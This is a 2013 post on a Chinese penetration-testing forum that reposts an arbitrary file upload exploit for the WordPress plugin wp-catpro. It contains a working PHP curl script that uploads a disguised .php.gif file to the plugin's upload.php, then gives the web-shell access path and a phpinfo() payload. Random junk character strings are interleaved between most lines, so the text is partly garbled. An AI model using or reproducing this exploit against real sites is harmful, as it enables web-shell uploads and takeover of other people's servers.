中国网络渗透测试联盟
标题:
WordPress插件wp-catpro任意文件上传
[打印本页]
作者:
admin
时间:
2013-2-27 20:12
标题:
WordPress插件wp-catpro任意文件上传
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
' y$ Z! d1 [& Z2 F% U0 O; u1 Y3 N
#-----------------------------------------------------------------------
4 F/ R. m4 F0 h* {. |$ @4 k5 m v
; l ` O8 j8 r' O l
作者 => Zikou-16
- R {9 g* B; l- @; V
邮箱 =>
zikou16x@gmail.com
, t) ~ q/ f' Y2 }7 \5 U
测试系统 : Windows 7 , Backtrack 5r3
0 `! y. N/ w/ _
下载地址 :
http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
! H1 v! Z8 t* j7 _- ]. j
####
" w+ h3 n7 f( k7 S1 b: }$ o# H# a; M, h
+ Q( C% W3 M9 |+ Q* e# r
#=> Exploit 信息:
8 l! L4 e5 S3 G% n) U
------------------
* w8 Z) \, y9 C& b' e! {& K9 C
# 攻击者可以上传 file/shell.php.gif
6 Z, n) F3 V, }1 A1 x) G0 u
# ("jpg", "gif", "png") // Allowed file extensions
5 d/ q1 T+ b% u8 C2 T. d
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
$ M4 N% p7 ~$ L( \
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
2 ]* f3 E9 Y& N" S
------------------
9 f: K8 A+ d7 G& T! s- H
& Z; m: E7 H4 t! S: |3 h' @; ]. x
#=> Exploit
' H8 N) r# C0 A
-----------
+ w+ ?# _" }) F; P* `% l8 ]) o
<?php
1 r% f% N6 f2 }) I1 \$ y$ L) K
5 }& y7 O; s8 D$ F2 a1 g; f
$uploadfile="zik.php.gif";
5 ^7 E6 c8 i' {
$ch = curl_init("http://[
www.2cto.com
]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
. j* W. V/ C4 h3 k2 r. \
curl_setopt($ch, CURLOPT_POST, true);
& M o9 A9 e# D' d/ B
curl_setopt($ch, CURLOPT_POSTFIELDS,
7 C6 z" S; z- ~. I( J
array('Filedata'=>"@$uploadfile",
" j: Q% h: Y8 u, K7 W2 I+ n
'folder'=>'/wp-content/uploads/catpro/'));
2 T* q1 l: U6 J2 `
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
0 ~- ^0 m: ^3 }
$postResult = curl_exec($ch);
2 s+ ]: X& y; b5 Y$ ^( ?
curl_close($ch);
! c+ y4 i) l0 E/ m0 ]1 |3 |
5 @. a: p" B9 D E' x# G0 K
print "$postResult";
8 |5 p9 t" n( R3 Z
! k( K, M4 M2 \
Shell Access : http://[
www.xxx.com
]/[path]/wp-content/uploads/catpro/random_name.php.gif
# [3 p/ c+ o% p0 m0 L) ?5 w
?>
" C- a! d x9 K0 Y- q/ G
<?php
2 e8 R& ?4 [( h3 ]. ]; R" \* E' ^
phpinfo();
% D( {2 ^9 C0 P1 X" H# k; T
?>
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2